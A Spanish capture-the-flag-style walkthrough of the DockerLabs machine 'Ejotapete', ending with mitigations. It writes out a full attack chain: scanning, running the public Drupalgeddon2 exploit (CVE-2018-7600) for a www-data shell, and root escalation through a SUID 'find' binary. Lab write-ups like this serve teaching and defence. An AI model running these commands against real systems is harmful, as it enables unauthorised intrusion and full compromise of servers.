Ir al contenido

Ejotapete

En este artículo se documenta la resolución completa de la máquina virtual Ejotapete, creada por El Pingüino de Mario y catalogada como muy fácil en la plataforma DockerLabs. El objetivo es ofrecer una guía reproducible, clara y didáctica, explicando qué se hizo, por qué se tomó cada decisión y cómo detectar vulnerabilidades similares en entornos reales.

El proceso se divide en tres fases principales:

  1. Reconocimiento – Identificación de servicios expuestos, rutas web y posibles puntos de entrada.
  2. Explotación – Obtención de acceso inicial mediante vulnerabilidad en un CMS.
  3. Escalada de privilegios – Aprovechamiento de binarios con permisos SUID para obtener privilegios de root.

⚠️ Aviso: Todos los pasos fueron realizados en un entorno controlado de DockerLabs. No ejecutes pruebas intrusivas fuera de entornos expresamente autorizados.


AtributoDetalle
NombreEjotapete
AutorEl Pingüino de Mario
DificultadFácil
Fecha de creación14/07/2025
PlataformaDockerLabs

  1. Descomprimimos el paquete descargado desde DockerLabs:

    Ventana de terminal
    unzip Ejotapete.zip
  2. Desplegamos el contenedor con el script incluido:

    Ventana de terminal
    sudo bash auto_deploy.sh Ejotapete.tar

El script levantará un contenedor Docker con los servicios necesarios y mostrará la IP asignada al finalizar. Anótala, ya que se usará durante todo el proceso de explotación.


Para mantener un entorno de trabajo limpio y ordenado, creamos una estructura de directorios:

Ventana de terminal
mkdir -p Ejotapete/{content,exploits,nmap,scripts}
cd Ejotapete

Consejo: Mantener una estructura ordenada permite registrar mejor los hallazgos y simplifica la elaboración de reportes posteriores.

IP asignada


Ejecutamos un escaneo completo con Nmap para descubrir los servicios activos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

Extraemos los puertos detectados mediante un script auxiliar (extractPorts) o con grep:

Ventana de terminal
extractPorts allPorts

Puertos abiertos

Servicios identificados:

  • Puerto 80 – HTTP

No se detectaron otros puertos abiertos, lo cual sugiere que el vector de entrada estará en el servicio web.


Procedemos a identificar directorios y archivos accesibles con Gobuster:

Ventana de terminal
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js -t 200 -o gobuster.txt

Gobuster

Rutas encontradas:

  • /drupal

drupal

El hallazgo de esta ruta nos indica la presencia de un CMS Drupal, por lo que el siguiente paso será identificar su versión y buscar posibles vulnerabilidades conocidas.


Al acceder a la ruta /drupal, confirmamos que se trata de Drupal 8.5.0 (visible en el código fuente y archivos del CMS). Sabemos que esta versión es vulnerable a ejecución remota de comandos (RCE), por lo que verificamos el exploit correspondiente con Searchsploit:

Ventana de terminal
searchsploit drupal 8.5.0

searchsploit

El resultado nos muestra el exploit Drupalgeddon2 (CVE-2018-7600) que permite ejecución remota de código no autenticado. Lo descargamos con el siguiente comando:

Ventana de terminal
searchsploit -m 44449

Antes de ejecutarlo, instalamos las dependencias requeridas (en este caso, la librería highline para Ruby):

Ventana de terminal
gem install highline

Finalmente, ejecutamos el exploit:

Ventana de terminal
ruby 44449.rb http://172.17.0.2/drupal

El script explota la vulnerabilidad y nos concede una reverse shell como el usuario www-data, lo que confirma la ejecución remota exitosa.


Con acceso como www-data, iniciamos la enumeración del sistema en busca de binarios con permisos especiales (SUID):

Ventana de terminal
find / -perm -4000 2>/dev/null

El resultado revela que el binario find tiene el bit SUID activado:

find

Este tipo de configuración permite ejecutar comandos con privilegios elevados. Podemos aprovecharnos de esto para escalar directamente a root:

Ventana de terminal
find . -exec /bin/sh \; -quit

Esto ejecuta una shell con privilegios de root, otorgándonos control total del sistema.

root


  1. Reconocimiento – Descubrimiento del servicio web con Drupal 8.5.0.
  2. Explotación – Uso del exploit público Drupalgeddon2 (CVE-2018-7600) para obtener acceso remoto.
  3. Escalada de privilegios – Abuso del bit SUID en el binario find para ejecutar comandos como root.

  • Uso de una versión obsoleta y vulnerable de Drupal.
  • Ausencia de actualizaciones de seguridad y parches.
  • Permisos inseguros en binarios del sistema (find con SUID activo).
  • Falta de segmentación de usuarios y medidas de control de privilegios.

  • Actualizar Drupal a una versión reciente no afectada por CVE-2018-7600.
  • Implementar un plan de gestión de parches para todos los servicios web.
  • Eliminar permisos SUID innecesarios y revisar los binarios del sistema regularmente.
  • Limitar los privilegios del usuario del servidor web (www-data).
  • Aplicar controles de acceso y segmentación adecuados para mitigar escaladas de privilegios.